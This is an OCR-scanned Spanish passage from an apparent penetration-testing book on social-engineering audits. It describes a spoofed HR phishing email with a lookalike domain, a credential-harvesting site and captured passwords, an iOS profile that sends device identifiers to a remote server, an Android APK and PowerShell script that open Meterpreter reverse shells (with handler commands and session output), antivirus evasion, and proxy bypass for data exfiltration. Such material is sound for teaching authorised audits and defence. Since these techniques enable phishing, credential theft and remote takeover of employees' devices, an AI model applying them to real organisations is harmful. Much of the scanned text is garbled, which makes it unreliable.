Es importante analizar el entorno de la empresa, eventos que ésta realice, época del ailo, por

si se puede presentar algo que la empresa festeje anualmente, etcétera.

El plan estratégico es muy importante, se debe tener claro cual serd la operativa y como llevarla a
cabo, por lo que se empleara tiempo en el guidn que sc realizara.

Tras la recogida, evaluacion y sintesis de informacién referente a los empleados, se llega a la
conclusién de que la mejor via es crear un evento debido a la época del afio en la que se encuentran,
el cual la empresa lleva dos afios realizando. Parece ser que deben estar a punto de realizar el evento
este afio de manera similar, por ello el equipe de auditoria escoge presentar un evento ficticio al
conjunto de muestra con el fin de ser lo méas parecido a la realidad posible.

El evento simulard un concurso en el que los empleados pueden participar y deberan votar por la
mejor fotografia de las vacaciones en las que ellos han estado. Se explica. como hacia la empresa
en afios anteriores, que el ganador obtendra un {Pad de Apple, y que ademas se donara una cantidad

de dinero a una ONG.
De manera clara el equipo de auditores se estd aprovechando de las buenas acciones de la empresa

en afios anteriores y que el escenario puede ser realmente creible. El guion comienza a prepararse.
y el siguiente paso es preparar la plataforma donde se alojara el evento y el como se realizaré la

operativa final.

Capitulo I11. Confeccionando el ataque

También hay que estudiar como llegard la noticia y el acceso al evento a las victimas. En este caso

la via elegida es el correo electronico corporativo, por lo que hay que trabajar la viabilidad para que
i 4 : : iy b Aaré

los correos spoofeados lleguen a su destino, y que éste sea a la bandeja de entrada de los usuarios

PoC: Preparacién y configuracion de pruebas

;Con el guién preparado y el conjunto de muestra escogido se debe estudiar la viabilidad para que
0s corre ‘onic invitacid i i

. 05 electrdonicos cgn la invitacion al concurso lleguen a sus destinatarios. Los auditores se
pueden encontrar con varios problemas y son los mecanismos de proteccion de los servidores de
correo de la empresa victima. El equipo realiza, junto al grupo de seguridad de la empresa, una
prueba para ver si los correos falsos que preparan llegan a la bandeja de entrada. ‘

Una de las primeras cosas que se deben tener en cuenta es la suplantacién del dominio. En teoria
¢l correo de invitacion al concurse se debe realizar desde una cuenta de la 01'ganizaci611 lo cuai
leE:dE_: ser sumamente complicado, ya que se deberia robar la credencial de alguna cuenta int.crna La
solucion que el equipo encuentra es utilizar un servidor de correo propio, ya sea montado por ell]oq
como puede sendmail o utilizar alguno onfine como emkel.cz. 7

Si se envia el corr mico s inio, segur i

o : €0 electronujt? suplantando el dominio, seguramente el servidor de correo
0 detectara como una suplantacion y no lo dejard pasar, aunque siempre hay que probar ya que
p-uu?u haber sorpresas. Una via para suplantar el dominio y que el dominio parezca el original es la
siguiente: ) .-

- Siel nombre de la empresa es Imanes Ventura y un correo vilido es rrhh{@imanesventura.
com, s¢ puede entender que si se utiliza la siguiente direccién suplantada n'hh(zf."lmanesxfmllura
com, la primera letra se puede entender como una I maytscula. Depende nﬁicho del tipo dé
letra utilizado para representar los nombres, pero existen letras en las que una mayuscula vy
una minuscula de otra lefra tienen un parecido enorme en su representacién, Es cs;‘[o.lo qu‘e
puede valer para que el correo llegue, y que la direccion sea creible,

- Se_ debe escoger el nombre de usuario, en este caso puede ser interesante saber quién
organizaba ese evento que se estd suplantando. Se supone que lo hacia recursos humanos, v
por ello la cuenta desde la que se envia es una copia de la de recursos humanos de la empresa.

En muchas ocasiones el correo puede no llegar porque se utilizan links, los cuales el servidor de
correo califica de peligrosos, y o llega a la carpeta de SPAM, o directamente no llegan. Esto también
hay que analizarlo y verificar que en el correo final que se prepara todo esté perfec?o para que llegue
a la bandeja de entrada. Otro contratiempo puede ser la direccién /P elegida para enviar el Corfeo
puede que pertenezca a alguna lista negra y que no se deje pasar dicho cobn'eo. -

El correo debe tener hasta el minimo detalle de un correo electrénico original de la compaiiia, desde
logos que pueden ser cargados desde una direccion URL de la propia co;npaﬁia. pies de con‘neo con
lag advelrtencias legales, firmas de personas o departamentos, etcétera. Todo detalle es poco para
conseguir que la victima acepte el correo como valido, y que el servidor entienda que el contenido
no es malicioso. Por tltimo, y tras el mensaje de invitacién al concurso se debe colocar una imagen,
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- - _ i , i
o link, que redirija hacia el sitio web ficticio. Esta es la parte critica, ya que seglin cm;n; se ;3;'1 ce
el servidor de correo de la organizacion decidira si es Apto 0 no. g‘.Y‘la direccion URL? Tam ]bel;. ls.e
debe ocultar a la vista del usuario, por ello se pueden utilizar servicios de acortadores como hir.ly,

tinvurl, etcétera.

Una vez que se comprueba que los correos electrénicos llegan a la bandeja de eﬂtr.a“:la. de lg's
miembros de seguridad de la empresa, se puede hacer un c/ieck sobre este pequenio requisito previo
a lanzar el ataque. El phishing al que llevara el correo electrénico también debe ser preparado con el

maximo detalle, tal y como se prepara el correo.

En el servidor web se comprueba si la victima accede con un dispositivp 'mlévi] 0 no, para r?m_strar
una informacién u otra. Esto demuestra que se ha tenido en cuenta la po:mbjlldad de que las v1ct}mas
accedan a través de los dispesitivos moviles. Mas adelante_ se podr’a .entender que ”c):on esto s:-e
abre una nueva ventana o via de ataque a los propios dispositivos movﬂ;es. (‘,Pgra qué? Se pqdn-a
intentar instalar una 4PK en Android. simulando ser herramienta corporativa. o instalar un perfil de
dispositivo en (S con fines maliciosos.

. Qué se muestra en la web? Debe haber un mensaje claro que indique las bElSCEi y‘el 0}‘{]612]\'0 del
Cioncurso. Todo debe ser claro y orientado a que el usuario inlrpduzca las Credenc.ialcs de cmqleado
para poder participar en el concurso. Ademads, se les p.ue‘de dejar que carguen la 1:}]<i1gen ‘cl{‘)npa que
quieren participar, para hacerlo atiin mds realista. El minimo detalle juega Ut peps 1mp011 a'nd(, y en-
algunos casos se han puesto candados e informando de zonas seguras. con 1magenes utilizadas por

la propia empresa.

Usuario:

Contrasena:

T 11%1 o - i e d 1Y 47 L
Fig. 3.83: Minimo detalle en ¢l sitio web para proporcionar conlianz

Al [inal la operativa es la siguiente:

- El empleado recibe un correo electronico en su band;ja de entrada infot'n.u'mdole de] q.lli,z]
departamento de RRHH de la empresa ha vuelto a organizar llﬂ‘COHCL]VI:?D para Tms emp ceis dL
Se indica que el premio es un iPad y que se valora?'él la mejor i'()tcgl'alla de lE.]S \)fﬁféﬁlgll::ndo
sus empleados. Ademas, habra una suma econdmica que ird destm:ada auna C ],\rd o 't;ﬂﬁo
el empleado mira desde que correo se en\.-ia,l plodri? no dclelear a simple vlstal nada L;ucaden.
ya que rrhh@lmanesventura.com. es el dominio vilido segiin el enunleado. .A_ guigsnlmvoria
pensar que es una “i” mayuscula, y otros pueden detectar que no es el dominio. 3

no caera en esto.

hé

=
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- Seevaluard si el empleado accede al sitio de phishing

; : . ; j g es decir, si el correo electronico ha
sido creible y ha conseguido que la historia le [levase al sitio web falso, En el servidor web se

podria utilizar exploizs para los navegadores con el fin de tomar e[ control de la maquina del
empleado y demostrar que ha caido en manos del equipo de auditoria.

- Seevaluard si el empleado accede al sitio por dispositivo mévil e inst
de dispositivo para iOS sin verificar que realmente pertenecen a [a emp
instala esto, se podra capturar informacién del dispesitivo mévil de] en
a un servidor remoto.

ala el APK o el perfil
resa. Si el empleado
pleado v trasladarlo

- Seevaluard si el empleado ha introducido credenciales en el sitio web. De este modo se
demuestra que el empleado se ha creido toda la historia y que ha depositado informacion
sensible en manos de los atacantes, provocando un robo ¥ la posible fuga de informacién.

(Como representar la informacién que se ha obtenido? El uso de imagenes que justifiquen lo que se
ha logrado es primordial, y también el uso de tablas para organizar la informacién. Por ejemplo, en
primer lugar seria conveniente indicar datos sobre las conexiones que ha recibido el sitio web falso.
se podra identificar la direccién IP de la empresa y el user-agent que han utilizado en la navegacion.
A continuacion se presenta una tabla que ejemplifica esto:

Fecha User-Agent Hieecdin
P
2014-02-02 11:43:03 | Mozille/S.00 (X1 Ubuntu: Liny 1686 1v: 1 2.0) Gecko 20100101 Firefox/12.0 AppEn <[P
2004-02-02 11:43:45 | Mozilla/3.0 (X1 2 Ubsitei; Linuee i686- med 200) Geckor20100101 Firefox/12.0 AppEn /P>
2004-02-02 11:47:45 | Mozille/5.0 (XT: Ubunte: Linr 1686 1v: 1 2.0) Gecko/20100101 Firefox/12: 0 AppLy <P

Tabla 3.06: Conexiones recibidas desde la cmpresa al sitio web falso.

Hay que proporcionar ntimeros sobre las visitas, es decir datos cuantificables, y si se detectaron
visitas desde dispositivos moviles, Después hay que indicar el niimero de empleados que introdujeron
sus credenciales en esta trampa, con un solo empleado que introdujera su credencial la prucba seria
exitosa para el equipo de auditorfa. En situaciones reales estos entormnos han provocade un niimero
alto de usuarios que introdujeron su eredencial. por lo que estas estrategias suelen tener un raiio de
éxito alto. Para el informe es importante, y muy vistoso, proporcionar un voleado de la pequefia
base de datos que se monta con el sitio web. De este modo se demuestra qué empleados introdujeron
su credencial y cayeron totalmente en la trampa.

I pgi 123akc 2014-02-02
2 er3 micarreo. 23 Z20149-02-9032
2 1ui Jamsjds4 2014-02-072
4  dos k2lo23 2014-02-02
5  Jose kelo23 2014-0z2-02
4 mar amor 23 2014-02-02
7 Jose.rodriguez@imanesventurs kelo23 2014-02-02
2 marta.lopez kanijazs4 2014-02-02

Fig. 3.84: Voleado de contraseiia obtenido en la prueba.
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PoC: Cebos para dispositivos moviles

En esta prueba de concepto se explica como gracias a herramientas que los fabricantes de sistemas
operativos moviles como Apple o Google y la confianza de los usuarios en que las cosas son lo
que parecen, se puede conseguir atacar a los empleados de la empresa objetivo a través de sus
dispositivos moviles.

Laempresade Cuperiino, Apple, proporcionaa desarrolladores., departamentos de /7, administradores
de sistemas mecanismos para gestionar una gran cantidad de dispositivos /OS a nivel corporativo,
Existen tipos de perfiles, como son los perfiles de configuracién y perfiles de aprovisionamiento.
Los perfiles de aprovisionamiento permiten instalar datos o aplicaciones en los dispositivos. Por el
contrario se tienen los perfiles de configuracion, con los que se puede configurar los dispositivos
para cumplir politicas de seguridad corporativa.

Los perfiles también permiten recopilar datos de los dispositivos y de este modo los administradores
pueden catalogar de manera univoca los diferentes dispositivos que forman parte de la empresa. El
objetivo en esta prueba de concepto serd crear un perfil de configuracién que permita recoger datos
importantes de los dispositivos como es el UDID, ICCID, IMEI version del sistema operativo iOS
que ejecuta el terminal, producto, eleétera. (Qué es un perfil? (Como se genera? Simplemente es
un archivo con extension .mobileconfig, que a su vez puede ser comparado con un archiva XML,
como los ficheros .plist de Apple. Se puede crear perfectamente a mano, sin llegar a utilizar ninguna
herramienta. Toda esta informacién puede ser consultada en la documentacion de Apple.

<?xml wersion="1,8" encodingm"UTF-B"17> -
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN" “http://ww.apple.con/DTDs/Propertylist-1,0.40td">
<plist version="1.8">
=dict>
<key>PayloadContent</key>
cdict>
<key=URL=/key>
=string=http: //direccion]p AR N (T (e vE . php</string>
<keysDeviceAttributes</key>
<array>
=string>UBID</string>
=string>IMEI</string>
=51ring=I1CCID=</string>
<string>VERSION</string>
<string=PRODUCT«/string>
zstring>DEVICE_NAME</string=>
<farray>
=/dict>
<key>Payload0rganization</key=>
<5t ring > /S % lnQ >
<key=PayloadDisplayName=/key>
=string- NN Profile Services/string>
<key>PayloadVersion</key>
<integer>l</integer>
<key>PayloadUUID</key>
<string>21981ad46-3a21=-11e2~-B1c1~8888200cH066=/string>
<key>Payloadldentifier<fkey>

<key>PayloadDescription</key>
<string=Perfil para el Concurso de GEREECNSINNNSN - /5 T ring =
<key>PayloadType</key~
<string>Profile Service</string>
=/dlict>
</plist>

Fig. 3.85: Perfil de confliguracion para recopilacion de datos.
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El pm.‘ﬁl e gﬁadido al sitio web anterior, con la intencién de que cuando se d i

con CIIISDOSIUVOS movil y sistema operativo i0S, se descargue y solicite J‘(l is:]e.l tllle(;{u HE B
usuario. El perfil esta personalizado para indicar que es una aplicacién co cora:- a = pegltan B
este r{mdo no despertar excesivas sospechas. Una vez instalado el perfil rgste ,: d-de,.]a empresa. y L‘le
descrrtg en el perfil al servidor web donde se recogeran los datos en unaﬂpequel’:; lha-I - Ii{ inlurmncum
procedimiento es utilizado, en algunas ocasiones. por administradores de sisternasds-tdjL dﬂ?osi ESle
[T, por lo que puede ser entendido como una operacion de gestién por los usuarioqy TSR

R o i,

Sin firmar

Descripcion  This temporary profile will be
used to find and display your
current device's UBID.

Recibido

Contiene  Comprobacion para la
activacion del servicio en !
dispositivo

Mas detalles >

Fig. 3.86: Instalacion dc perfil en dispositive /0S8,

C onesta 111.T0rmac1un se podriarealizarotrotipo de perfil y conseguir generar un ipa paraesc dispositivo
e lnlt‘ntar instalarlo. Esto permitiria introducir aplicaciones manipuladas en los dispositivos de los
usuarios, aunque el grado de complejidad en esta situacion aumenta considerablemente,

En la pruebs epl : igui i
a prueba de conceplo de Android se puede pensar el siguiente escenario:

- Se genera un APK que imite a una aplicacién corporativa de la empresa.

- Se cuelga del sitio web falso, para que cuando se acceda desde un terminal con este
Sistema operativo se proceda a la instalacion,

Se ‘conﬁa en que la victima no piense demasiado en los permisos del manifiesto. ya que
se pech.ra desde acceso a la cam. a los contactos, micr6fono, etcétera. Todo lo que el equipo
de auditores piense que es necesario.
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- Ademaés, la aplicacion realizara peticiones a ciertos servidores donde los auditores El equipo de auditoria dispone, por cjemplo, de [
dispondran de un Metasploir, el cual mandara una shellcode a la aplicacién. Cuando ésta
lo reciba lo ejecutard provocando la obtencion de una shel! inversa. entendiéndose por shell
inversa cualquier tipo de sheflcode que el dispositive pueda ejecutar.

| - Laaplicacion es bastante facil de crear, y realmente lo complejo del proceso es conseguir
' que el usuario decida instalar la aplicacion. Si el guion de toda la historia que se ha ido
mostrando a lo largo de las pruebas de concepto es bueno, este tipo de pruebas conseguiran
un efecto positivo en las victimas, y se podra tener el control de los dispositivos. - Posibilidad de realizar port forwarding.

as siguientes acciones:

- Condispositivo rooteado acceso al filesysten completo, sino est4 rooteado ace ial
o , . cado acceso parcial,
- Acceso al micréfono y camara. Siempre y cuando | )

; 0s permisos del ifiry an side
aceptados por el usuario. manifest hayan sido

- Posibilidad de realizar pivoting a otros dispositivos,

. . . e incluso redes si exig awifi
Interna en el dispositivo. S

. . _ ) ) . - Utilizacién de una shell remota. 1
A continuacion se especifica como montar lo necesario, aunque no se proporciona el cddigo de la

aplicacién Android, no es dificil de implementar. La aplicacién de Android puede aprovecharse
e intentar obtener contactos, posicion GPS, registro de llamadas, mensajes de texto, etcctera. Se
hara hincapié mas en la parte de la shellcode, ya que permitira a los auditores un control total
sobre el dispositive. El equipo de anditoria configura el médulo exploit/multi‘handler para recibir
conexiones entrantes v el pavioad android/meterpreter/reverse_tcp.

- Descarga y subida de archivos al dispositivo.

Suceceasfully loaded plugin: pro
msf > use exploit/multi/handier
m=f exploit| -} > set PAYLOAD android/meterpreter/reverse tcp
PAYLOAD =»> android/meterpreter/reverse tcp
m=f exploit| ) > =zet LHCST 152.1€82.1.17
LHOST =» 192.168.1.17
msf explolt | -} > exploit

2 handler on 192.,168.1.1T:44494

=
he payload handiler. ..

Fig. 3.87: Configuracion de mudtihandler:

La aplicacion estara configurada para realizar una peticidn a la direccion /P dénde se encuentra el
moédulo handier configurado. Cuando la aplicacién sea descargada e instalada realizara la peticion y
obtendra una shellcode, en esle instante el control serd tomado por el equipo de auditoria.

Fig. 3.89: Utilizacién de camara en dispositivo Andreid para “eazar” al autor
;. Qué se puede hacer? Realmente bastantes cosas ya que se tiene una Mererprefer ejecutandose en el
dispositivo. Debe quedar claro que lo que se ejecuta en el dispositivo es una Meterpreter reducida,
similar a la de java.

Recuerda que para este tipo de prueba la imaginacion maliciosa debe vol

ra ar y ¢l minimo detalle
puede otorgar el éxito de la operacion.

Started rewverse handler on 192.168.1.17:4444
Starting the payload handlier...
Sending stage (39638 bytes) to 182.168.1.10 ° W
Meterpreter sesszion 1 opened (192.168.1.17:4444 —> 1092.168.1.10:49223) at 20 8' Fuga de lnfOI'maClOn
14-02-03 22:03:15 +0100 B
Ste tipo de prueba que se pued izar
e realizar ane; e e - :
meterpreter > [ R a la empres 3 e COmo anexo en un proceso de Ethical Hucking permite
: : D” a que pide el servicio conocer el estado interno de seguridad ante posibles fugas de
Fig. 3.88: Toma de control con shellcode remota en Android. nfOl’macmn sensibles. Existen organizaciones para 5

i
las que una fuga sobre datos econdmicos,
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personales, clientes, etcétera, puede suponer un impacto negativo en la operativa de negocio. Por
esta razdn requieren conocer si es viable sacar informacion de la empresa y el grado de dificultad.

Este tipo de pruebas se suelen hacer desde dentro de la organizacién que las solicita, tomando de
nuevo el rol de un empleado sin privilegios que puede ser comprado por la competencia del sector.
Ademas, el auditor recibe un equipo del dominio de la empresa, por lo que podra intentar escalar
privilegios en dicho equipo. Mucha gente ve esta prueba como algo sencillo o sin coste alguno, pera
cuando una empresa la solicita es porque implementan controles para evitar este tipo de fugas. Hay
que tomar esta prueba con el grado de profesionalidad que merece.

A continuacién se expondrdn controles que puede implementar una empresa, y se puede entender
que en algunas ocasiones extraer informacion de una organizacion puede ser algo bastante complejo,

i A qué se puede enfrentar un auditor? Esta pregunta tiene una respuesta ilustrativa, como se puede
ver a continuacion:
- Los equipos de los empleados no tienen unidad de CD/DVD, ni disquetera y los puertos
USB deshabilitados. Ademds, los equipos se encuentran con un candado para que no se
puedan abrir, ni manipular. No se puede conectar ningin dispositivo externo al equipo.
- Las comunicaciones de los empleados pasan por un prexy antes de salir a Internet.
- El servidor de correo electronico de la organizacion registra los envios salientes de los
empleados. Si el empleado mandase algo cifrado, el servidor notificaria al administrador y
bloquearia el envio del correo hasta que el administrador lo aprobase.
- El navegador tiene un plugin el cual no permite que se adjunten archivos en los servicios
de webmail, como puede ser Gmail, Hotinail, Yahoo, etcétera.
- Los sitios de almacenamiento en cloud, como Dropbox, se encuentran bloqueados por el
Proxy.
- El empleado no tiene derechos administrativos. Incluso, en sistemas Windows el UAC le
rechazaré el intento de elevacion de privilegios.

- El intento de conexidn a servidores FTP sera rechazada.

Y cualguier cosa de proteccion que se pueda imaginar, se puede encontrar en un entorno corporativo
con controles contra la fuga de informacion. Por estas razones, y mas, es entendible que en algunos
entornos puede ser realmente dificil el provocar una fuga.

Pruebas
La evaluacion de fuga de informacion del interior de una organizacion viene determinada por un
conjunto de pruebas. Hay pruebas que seran comunes siempre y otras que dependeran del ambito 0
alglin aspecto conereto de la organizacion,

A continuacién se listan algunas pruebas que pueden ser realizadas para evaluar la posible fuga de
informacion:
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- Esca-lada de .pmflleglc.\s en el‘ equipo. Se puede intentar utilizar log tltimos exploits para

consegulr permisos administrativos o system. Puede ser altamente interesante conseguir

privilegios para poder modificar algunas acciones o configuraciones que la magquina tcTwa
«

por defecto. )

- Evasion del proxy. Estudiar y evaluar el comportamiento del proxy, yaque éste puede tener
una serie de reglas para restringir ciertas acciones, por ejemplo, en funcién de la cabecera
del fichero. Este ejercicio puede llevar un gran ntimero de pruebas, ya que los filtros pueden
ir por extensién, por cabecera. por tamafio de archivos, por ubicacién, protocolo, etcétera.

- Infeccion de la méaquina con malware o shellcodes no detectables para intentar realizar
la subida de documentos. Esta prueba puede ser interesante realizarla junto al acceso a otra
maquina de la organizacion con el fin de usarla de pivote para que quede registrada como
maquina que saca la informacién hacia el exterior,

- Otras pruebas. Se pueden buscar técnicas esteganogréficas para ocultar informacién o
archivos en otros y poder subirlos a algtin servidor externo que posea el auditor. Realmente.
la imaginacién del auditor serd importante en este caso, ya que puede no ser [acil encontrar
una via,

PoC: Powershell y obtencion de sesién remota
En este escenario se ejemplifica que el equipo del auditor es un sistema Microsofi Windows Vista o
mas moderne, el cual dispone de una PowerShell.

Existe la posibilidad de descargarse de Internet, o generar con SET, Social Engineering Toolkir, una
shellcode que se carga desde cddigo en PowerShell. Es una opeion realmente interesante, v que a dia
de hoy no genera mucho ruido en cuanto a deteccidn de antivirus se refiere.

El auditor preparard el codigo antes de ir a su jornada laboral 2 la empresa que se estd auditando.
El'auditor genera el seript encodeado y lo ejecutard en la maquina de la organizacion. ; PowerShel!
permite ejecucion de seripts?

La respuesta es que su politica por deflecto es restricted. por lo que no se puede, pero simplemente
se debe copiar y pegar en la pantalla de PowerShell ¢l contenido del Seripi, como si el auditor lo
escribiera 2 mano y ya se ¢jecuta.

Tras ejecutar el contenido del scripr se realizara una conexion hacia el exterior. a la direccién /2 que
¢l auditor haya configurado en SET. Antes de explicar esto a fondo, se profundiza en la generacion
del seript con SET.

En primer lugar, y tras arrancar SET s¢ elegird el vector de ataque de PowerShell. Después se utilizara
la opcion nlimero uno de este vector de ataque denominada “PowerShell Alphanuwmeric Shellcode

Injector™. Aqui existen dos opciones, generarla para sistemas de 32 o 64 bits.

Al finalizar este proceso se crea un archivo TXT en la ruta /pentest/exploits/set/reports, si se ejecuta
en una BackTrack.
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1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell I

3) Powershell Bind Shell

4) Powershell Dump SAM Database

99) Return to Main Menu

set:pawershells]
i F 38

c=t> IP address for the payload listener: }9;.16@.1.
I~ Prepping the payload for delivery and injecting alphanumeric shellcode. ..
Enter the part number for the reverse {443]: 4444

Generating x64-based powershell %nlect§on coge...

Generating x86-based powershell injection code... ‘

Finished 3enerating powershell injection attack and is encoded to bypass exe
cution restriction...
Do you want to start the listener now [ygs/nol: : yes
nower=a=11> Select x86 or x64 victim machine [default: x64]:

Fig. 3.90: Generacion del seripr para inveccion de shefleode remota.

&

Se debe configurar el handler en Metasploit para recibir la sc.sién una vez se z-:qecutc cl %*o?tegrdo tie]
seripr. Hay que tener en cuenta que en la generacion del seript se qf:be’contal EOH E]‘},')if ;;.\:1 .,!, na \e7
el handler recibe la primera peticidn desde dentro de la organizacion, éste envia la shellcode que se
gjecutara en el equipo dénde se encuentra el auditor.

Esta operativa también puede servir para intentar una escalada de privilegios, una vez que se tiene

una sesion.

msf exploit{handier) >

{7 Started reverse handler on 0.0.0.0:4444
Starting the payload handler... B
Sending stage (951296 bytes) to 192.168.1.37 )

=]
[1]
t
~

§12-99-22 15:09:5
2 -R4880
msf exploit{handier) > sessions -i

Active sessions

Id Type Information Connection

192.168.1.38:4444 -> 192,168.1.37:49299

1 meterpreter x64/win64 pablo-vm\pablo @ PABLO-VM
(192.168.1.37)

msf exploit{handler) >

Fig. 3.91: Controlando un equipo tras la ejecucion de un seript de PowerShell.

Coémo se ejecuta en la PowerShell? Como se ha comentado fmteriormenta, simp]ement; pegc::de(;
el contenido del scripr y ejecutando. Se podria intentar mediante el co;n-ando c!ownlola sacS b
contenido que representa la informacion sensible en esta prueba a través de este canal que
creado desde fuera de la organizacion hacia dentro.
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lindows PowerShell
opyright (C)> 2889 Microsoft Corporation. Reservados todos los derechos.

PS8 C:\Users\pablo? powershell —noprofile -windoustyle hidden -noninteractive ~EncodedConnand JABjAGOAZABLACAATGA ACcAlly
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ACARSQBURHQAUARBBAHL A IABYAGKA BBRHUR?QBS_BEFRM'BsﬂGBQYwﬁuﬂﬂ(ﬂthﬂRFﬂﬂdnByﬂcflﬂhﬂBw EE_RZRBkHHI8,:QBZHHHRLRﬂgRHUﬂaQBuﬁHQRIﬂ'
[kiHeAl BpﬂHuRZQﬂsRGHﬂdQB, ‘1::-‘13991’!(;9ﬂbﬂBBﬂGwﬂhﬂﬂuRGﬂﬂ!QBBRGM.IJHBLIHFQREQB“RGURLHRQ..HuﬂaQBuﬂHDﬂ BrftGwAUAByAGBAAABIAGHA AN
ﬁﬂns--HuBEﬂGuﬂhRBJﬂGBﬂL‘RBU A ARoACTAawBl1AHT AbgB1AGuANMuA AC4AZABsAGUAT gApAFBACABIAGT AGHATAD: YOBBAGKAYuAgAGUAeR

-
a

o

! AbABp HQ
NGUAcgBuACAASQBUAHQAUABBANTAT ABDAHIAZGBhAHQAZGBUA G ﬂch{ﬂGEﬂ.ZﬂﬁnﬂEthgBBﬂ Fﬂﬂtmnyﬂmﬂbﬂﬂwﬂl’qﬂ'a"ByﬂGl’JM’QBkﬂﬂE’RdRBERHI ag]
HNHUAAABIAHMALANgAHUA2QBunHGA T ABKAHCAUWBBAGENYwBrAFMAAOEE AGUATARGAEKAD ACAABABuNFI BhAHIAdRBBAGAAZABYAGU ficts
RCHRIQHJHGéﬂrlﬂBQﬂHQﬂcsﬂgﬂGuRs--BQHGEﬂchh GANZQBOAGUAcgAsACARAQBpAGANdRAGAGOR BDAHIAZQBhAHQNaQBuAG4A Ry BsA( EAZUBzACWA TR
NGARARBAAHAACyNgAGUACABUACAcyB1AGENZARL ""‘}{QR?EFSHRBBsﬂGuFISQBtﬁHnRhuByﬂHQRl(ﬂﬂiﬂGBRENBZRGHRI:Q'EBHC#IZHBSR. wAlgApAFBACA
ABpAGHMA T AR=AHOA ABBAGH ARSOHUAHGNUABBAHTATABLAGUA dARoAEKALyBAAFARIABYACAAZAB IAHMAAA

E
>
2
=

=1

[(LAGIA BARGEAY uAgAGL iAcegRu

Fig. 3.92: Meterpreter encodeada en la PowerShell,

PoC: Shellcodes no detectables

La via anterior es una manera interesante de intentar una fuga de informacién, pero existen otras
que también pueden ser interesantes, y que en un alto porcentaje de ocasiones van a funcionar, En
la Rooted CON de 2013, yo (Pablo Gonzalez) y Juan Antonio Calles, presentamos una via de evadir
antivirus e IDS, Intrusion Detection System, que consistia en un £XE que hacia de loader Y que
obtenia una DLL en remoto y la cargaba. La charla en la conferencia se denominaba “Metasploir &
Flu-AD: Avoiding AVs with Payloads/DLLs Injection”. La DLL albergaba cualquier shellcode que
pudiera ser ejecutada en la arquitectura donde el loader se encontrase, y cambiaba en cada nueva
generacion,

La téenica evoluciond y el traspaso de la shellcode desde el exterior hasta el /oader se hacia
directamente a memoria. Ademas, la shellcode podria ir descolocada a modo de frifero para evitar
que algunos /DS reconacieran patrones. Al llegar a memoria se podria reorganizar para poder
¢jecutarse correctamente. Incluso se ha realizado algin médulo en Merasploit para implementar
esto y poder llevarle a cabo de manera sencilla.

Tanto la generacién de la DLL como el ejecutable que hace de servidor para otorgar la shelicode en
remoto requieren conocimientos de programacion para poder emular esta técnica.

El auditor puede utilizar o emular esta técnica para evadir los antivirus e /DS que pueda haber en |a
organizacion. Se ejemplificard el siguiente entorno:
- El proxy de la organizacion analiza las cabeceras de los archivos buscando extensiones.
- Si se encuentra un Z/P se comprueba contenido, si hay EZXE se descarta.
- Si los archivos son DOC o PDF dentro del ZIP se permiten.

- Silaextension era RAR el proxy permitia dejar descargarse el fichero, independientemente
del contenido.

El auditor podra introducir el loader y la DLL necesaria comprimidos en un R4R. En Ia imagen
s¢ puede visualizar que conticne el comprimido, un EXE y dos DLLs. La DLL con nombre
Pruebalibreria.dil es la que contiene la shellcode, la cual y como se comenté anteriormente es
distinta en cada generacion de DLL. La no evaluacién del RAR por parte del proxy parece un fallo de
configuracion en la organizacion, por lo que deberia ser anotado para el informe.
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Fig. 3.93: Contenido del RAR “colade™ en la organizacion.

Ahora, alguien del equipo de auditoria fuera de la empresa auditada deberia configurar el handler de
Metasploit para recibir una peticidn, por ejemplo, de una Meterpretei. Con esto se habré conseguido
un nueve canal de manera transparente a la empresa, y se podra utilizar dicho canal para poder subir
y descargar archivos. Hay que tener en cuenta la configuracion del proxy en la generacion de la
shellcode. También recordar que esta técnica es una via para un intento de escalada de privilegios
en la organizacion.

PoC: Evasiones de proxy con paciencia y pruebas

En esta prucba de concepto se hablard de como evadir el proxy mediante la realizacion de distintas
pruebas. En algunas ocasiones se debe realizar pruebas sencillas que permitan verificar la correcta
configuracion del proxy. ya que nunca se sabe donde puede haber sorpresas respecto a los errores de
configuracion en un dispositivo o servicio.

Hay que verificar el soffweaire que se encuentra en la maquina del auditor, y poder verificar que ese
tipo de extensiones se puede descargar. Se deberd probar tanto la subida como descarga de archivos,
y estudiar el comportamiento del proxy. Aunque parezea extrafio, ¢l lamafo de un fichero puede
hacer que el proxy lo deje pasar o no, esle tipo de circunstancias son las que, con paciencia, se deben
ir probando v chequeando.

Si en el equipo del auditor se encuentra sofiware de compresion, se deberd estudiar la viabilidad de
descarga de ese tipo de extensiones. La idea de realizar un bypass es conseguir “colar” un archivo
en la organizacion, y sobretodo conseguir “secar” un archivo hacia fuera de la organizacion.

Se supane un ejemplo en el que el auditor encuentra soffivare como 7zip en el equipo. por lo que se
entiende que se podrd obtener este tipo de archivos desde Internet. Es posible que el proxy evalue
el contenido del fichero. pero ;y si no? Siempre hay que probar tode, aunque parezca obvio el
resultado final.

Ahora se explica el intento de subida de archivos en esta pequefia prucha de concepto. Al realizar
el intento de subida de archivos es necesario hacer frente a dos impedimentos. El primero puede
ser el limite maximo del tamafio del archivo, y el segundo, evadir la comprobacion de los archivos
subidos.
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Capitulo IV
Recomendaciones del proceso

1.Las recomendaciones

Una vez llevado a cabo la auditoria se debe realizar un informe con todo lo que se ha encontrado ¢n
el proceso.

Las recomendaciones son algo que deben estar en todo informe que se presente a un cliente, ya que
como expertos en la temética de seguridad se deben proporcionar las premisas para evitar que los
fallos de seguridad encontrados supongan alguna pérdida o dafio de activo a la empresa contratante,

En funcién de la auditoria que se esté llevando a cabo. las recomendaciones siempre cambiaran,
aunque algunas de ellas se pueden extrapolar a otros dmbitos, por lo que se pueden enunciar en
ambas auditorfas.

Existen las recomendaciones parciales. las cuales proporcionan una respuesta ante un fallo de
seguridad que se ha detectado en una auditoria. y por otro lado estd la recomendacion genérica o
casi genérica, que proporciona las buenas précticas ante un riesgo conocido.

En este capitulo se estudiaran distintas recomendaciones que se pueden [levar a cabo en las distintas
auditorias, con las que se le darg un toque diferenciador y de categoria al informe final.

También hay que pensar que el auditor es una persona que conoce la seguridad y que trabaja con
ella, es decir, es un profesional del sector. y debe conocer las formas de proteger o recomendar a
Olros usuarios o empresas.

La blsqueda del fallo y el conocimiento del remedio ayudaran al auditer o equipo de auditores a
dotar de un cierto nivel su trabajo, y proporcionard mayor seguridad a la empresa contratante, tanto
en ¢l dmbito real como en la percepcion de su trabajo.

Es importante que el equipo de auditores se encuentre en continuo contacto con la tecnologia yla
seguridad, los nuevos agujeros de seguridad, las nuevas soluciones de seguridad y los problemas a
